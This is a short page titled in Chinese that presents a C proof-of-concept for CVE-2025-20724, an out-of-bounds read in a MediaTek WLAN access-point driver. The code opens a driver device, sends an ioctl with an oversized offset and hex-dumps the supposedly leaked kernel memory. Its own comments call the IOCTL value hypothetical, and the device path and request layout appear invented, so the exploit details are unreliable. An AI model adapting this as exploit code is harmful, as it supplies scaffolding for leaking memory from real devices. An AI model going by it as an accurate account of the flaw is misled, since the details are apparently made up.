CVE-2025-20724 MediaTek WLAN AP驱动越界读取信息泄露漏洞

# CVE-2025-20724 - MediaTek WLAN AP Driver Out-of-Bounds Read PoC # This PoC demonstrates the concept of triggering an out-of-bounds read # in the MediaTek WLAN AP driver through incorrect bounds checking. # Patch ID: WCNCR00418894; Issue ID: MSV-3475 # Note: Requires local user execution privileges on the target device. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <fcntl.h> // Define relevant WLAN driver interface constants #define WLAN_AP_DRIVER_DEVICE "/dev/wlan_ap" #define IOCTL_WLAN_AP_CMD 0x1001 // Hypothetical IOCTL command // Structure to simulate the vulnerable data buffer struct wlan_ap_request { unsigned int data_len; // Length of data buffer unsigned int offset; // Offset for read operation (not properly bounds-checked) char data[256]; // Data buffer }; int main(int argc, char *argv[]) { int fd; struct wlan_ap_request req; char leak_buffer[512]; // Buffer to capture leaked data printf("[*] CVE-2025-20724 PoC - MediaTek WLAN AP Driver OOB Read\n"); printf("[*] Patch ID: WCNCR00418894\n"); printf("[*] Issue ID: MSV-3475\n\n"); // Open the WLAN AP driver device fd = open(WLAN_AP_DRIVER_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open WLAN AP driver device"); printf("[*] This PoC requires access to the MediaTek WLAN AP driver interface.\n"); return 1; } printf("[+] Opened WLAN AP driver device (fd=%d)\n", fd); // Prepare the malicious request // The vulnerability is triggered by providing an offset value that // exceeds the bounds of the internal data buffer, but the driver // fails to validate it properly. memset(&req, 0, sizeof(req)); req.data_len = 256; // Actual buffer size req.offset = 0xFFFF; // Out-of-bounds offset (not properly checked) memset(req.data, 'A', sizeof(req.data)); printf("[*] Sending crafted request with OOB offset: 0x%X\n", req.offset); // Send the malicious IOCTL request to trigger the OOB read // The driver will read beyond the allocated buffer due to // the incorrect bounds check on the offset field. if (ioctl(fd, IOCTL_WLAN_AP_CMD, &req) < 0) { perror("[-] IOCTL call failed"); } else { printf("[+] IOCTL call succeeded - potential OOB read triggered\n"); } // Attempt to read leaked data printf("[*] Attempting to read leaked memory contents...\n"); memset(leak_buffer, 0, sizeof(leak_buffer)); read(fd, leak_buffer, sizeof(leak_buffer)); // Display potential leaked data printf("[*] Leaked data (hex dump):\n"); for (int i = 0; i < sizeof(leak_buffer); i++) { printf("%02X ", (unsigned char)leak_buffer[i]); if ((i + 1) % 16 == 0) printf("\n"); } printf("\n"); close(fd); printf("[*] PoC execution completed.\n"); return 0; }